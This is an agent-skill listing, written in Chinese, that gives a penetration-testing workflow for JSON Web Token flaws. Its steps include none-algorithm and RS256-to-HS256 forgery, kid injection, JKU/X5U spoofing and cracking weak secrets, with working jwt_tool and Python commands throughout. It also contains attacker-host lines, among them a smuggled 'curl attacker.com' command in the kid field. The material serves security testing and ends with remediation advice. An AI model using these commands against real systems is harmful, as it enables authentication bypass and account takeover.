# Testing For JSON Web Token Vulnerabilities

> 测试 JWT 实现中的关键漏洞，包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用，以实现认证绕过和权限提升。

- Skill: `killvxk/testing-for-json-web-token-vulnerabilities` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/testing-for-json-web-token-vulnerabilities`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/testing-for-json-web-token-vulnerabilities/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/testing-for-json-web-token-vulnerabilities

---


# 测试 JSON Web Token 漏洞（Testing for JSON Web Token Vulnerabilities）

## 适用场景
- 测试使用 JWT 进行认证和会话管理的应用程序
- 对使用 JWT 进行授权的 API 进行安全评估
- 评估使用 JWT 的 OAuth 2.0 或 OpenID Connect 实现
- 对单点登录（SSO）系统进行渗透测试
- 审计 JWT 库配置中的已知漏洞

## 前置条件
- jwt_tool（Python JWT 利用工具包）
- Burp Suite 及 JWT Editor 扩展
- jwt.io（用于解码和检查 JWT 结构）
- 了解 JWT 结构（header.payload.signature）和算法（HS256、RS256）
- hashcat 或 john（用于暴力破解弱 JWT 密钥）
- Python PyJWT 库（用于自定义 JWT 伪造脚本）
- 能够访问使用基于 JWT 认证的应用程序

## 工作流程

### 步骤 1 — 解码并分析 JWT 结构
```bash
# 安装 jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git

# 在不验证的情况下解码 JWT
python3 jwt_tool.py <JWT_TOKEN>

# 使用 base64 手动解码
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d

# 在 jwt.io 中检查 JWT
# 检查：算法（alg）、密钥 ID（kid）、发行者（iss）、受众（aud）
# 检查：过期时间（exp）、不早于（nbf）、声明（role、admin 等）

# JWT 头部检查示例
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# 注意查找：alg、kid、jku、jwk、x5u、x5c 头部
```

### 步骤 2 — 测试"none"算法绕过
```bash
# 将算法改为"none"并移除签名
python3 jwt_tool.py <JWT_TOKEN> -X a

# 手动 none 算法攻击：
# 原始头部：{"alg":"HS256","typ":"JWT"}
# 修改后头部：{"alg":"none","typ":"JWT"}
# 编码新头部，保留 payload，移除签名（最后一个点后为空字符串）

# 尝试以下变体：
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"

# 发送伪造的 Token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin

# jwt_tool 自动化 none 攻击
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
```

### 步骤 3 — 测试算法混淆（RS256 转 HS256）
```bash
# 若服务器使用 RS256，尝试使用公钥作为 HMAC 密钥切换至 HS256

# 步骤 1：获取公钥
# 从 JWKS 端点获取
curl http://target.com/.well-known/jwks.json

# 从 SSL 证书获取
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout > public_key.pem

# 步骤 2：使用公钥作为 HMAC 密钥伪造 Token
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem

# 手动算法混淆：
# 将头部从 {"alg":"RS256"} 改为 {"alg":"HS256"}
# 使用公钥通过 HMAC-SHA256 签名
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
    public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
```

### 步骤 4 — 测试密钥 ID（kid）参数注入
```bash
# 通过 kid 进行 SQL 注入
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
  -S hs256 -p "secret-key"

# 通过 kid 进行路径遍历
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
  -S hs256 -p ""

# kid 指向空文件（使用空字符串签名）
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""

# 通过 kid 实现 SSRF（若 kid 获取远程密钥）
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"

# 通过 kid 进行命令注入（罕见但可能）
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
```

### 步骤 5 — 测试 JKU/X5U 头部注入
```bash
# JKU（JSON Web Key Set URL）注入
# 将 jku 指向攻击者控制的 JWKS
# 步骤 1：生成密钥对
python3 jwt_tool.py <JWT_TOKEN> -X s

# 步骤 2：在攻击者服务器上托管 JWKS
# jwt_tool 生成 jwks.json - 将其托管在 http://attacker.com/.well-known/jwks.json

# 步骤 3：修改 JWT 头部，指向攻击者 JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"

# X5U（X.509 证书 URL）注入
# 与 JKU 类似，但使用 X.509 证书链
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"

# 嵌入式 JWK 攻击（在 JWT 头部注入密钥）
python3 jwt_tool.py <JWT_TOKEN> -X i
```

### 步骤 6 — 暴力破解弱 JWT 密钥
```bash
# 使用 hashcat 暴力破解 HMAC 密钥
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt

# 使用 jwt_tool 字典攻击
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt

# 使用 john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# 常见弱密钥尝试：
# secret, password, 123456, admin, test, key, jwt_secret
# 也可尝试：应用名称、公司名称、域名

# 找到密钥后，伪造任意 Token
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
  -I -pc role -pv admin -pc sub -pv "admin@target.com"
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| 算法混淆（Algorithm Confusion） | 使用公钥作为 HMAC 密钥，从非对称（RS256）切换到对称（HS256） |
| None 算法（None Algorithm） | 将 alg 设为"none"以创建未签名的 Token，被配置不当的服务器接受 |
| kid 注入（Kid Injection） | 利用密钥 ID 头部参数进行 SQLi、路径遍历或 SSRF |
| JKU/X5U 注入（JKU/X5U Injection） | 将密钥源 URL 指向攻击者控制的服务器以替换密钥 |
| 弱密钥（Weak Secret） | 可通过字典攻击暴力破解的 HMAC 密钥 |
| 声明篡改（Claim Tampering） | 在绕过签名验证后修改 Payload 声明（role、sub、admin） |
| Token 重放（Token Replay） | 在预期会话应已过期后，重复使用有效的 JWT |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| jwt_tool | 全面的 JWT 测试与利用工具包 |
| JWT Editor（Burp） | 用于 JWT 操控和攻击自动化的 Burp Suite 扩展 |
| hashcat | GPU 加速的 JWT 密钥暴力破解（模式 16500） |
| john the ripper | 基于 CPU 的 JWT 密钥破解 |
| jwt.io | 用于检查的在线 JWT 解码器和调试器 |
| PyJWT | 用于编程方式创建和验证 JWT 的 Python 库 |

## 常见场景

1. **None 算法绕过** — 将 JWT 算法改为"none"，移除签名，在接受未签名 JWT 的服务器上伪造管理员 Token
2. **算法混淆攻击** — 使用泄露的公钥将 RS256 切换为 HS256，伪造任意 Token 以获取管理权限
3. **kid SQL 注入** — 在 kid 参数中注入 SQL Payload，从数据库中提取签名密钥
4. **弱密钥破解** — 使用 hashcat 暴力破解 HMAC-SHA256 密钥，为任意用户伪造 JWT
5. **JKU 服务器欺骗** — 将 JKU 头部指向攻击者控制的 JWKS 端点，使用攻击者私钥签署 Token

## 输出格式

```
## JWT 安全评估报告
- **目标**：http://target.com
- **JWT 算法**：RS256（声明）
- **JWKS 端点**：http://target.com/.well-known/jwks.json

### 发现
| # | 漏洞 | 技术 | 影响 | 严重性 |
|---|--------------|-----------|--------|----------|
| 1 | 接受 none 算法 | alg: "none" | 认证绕过 | Critical |
| 2 | 算法混淆 | RS256 -> HS256 | Token 伪造 | Critical |
| 3 | 弱 HMAC 密钥 | 暴力破解："secret123" | 完全 Token 伪造 | Critical |
| 4 | kid 路径遍历 | kid: "../../dev/null" | 使用空密钥签名 | High |

### 修复建议
- 在 JWT 验证中强制执行算法白名单（拒绝"none"）
- 使用非对称算法（RS256/ES256）并妥善管理密钥
- 对 HMAC 算法使用强随机密钥（256 位以上）
- 将 kid 参数验证为严格的允许列表
- 忽略 jku/x5u 头部，或仅验证已知端点
- 设置适当的 Token 过期时间（exp）并实施 Token 吊销
```

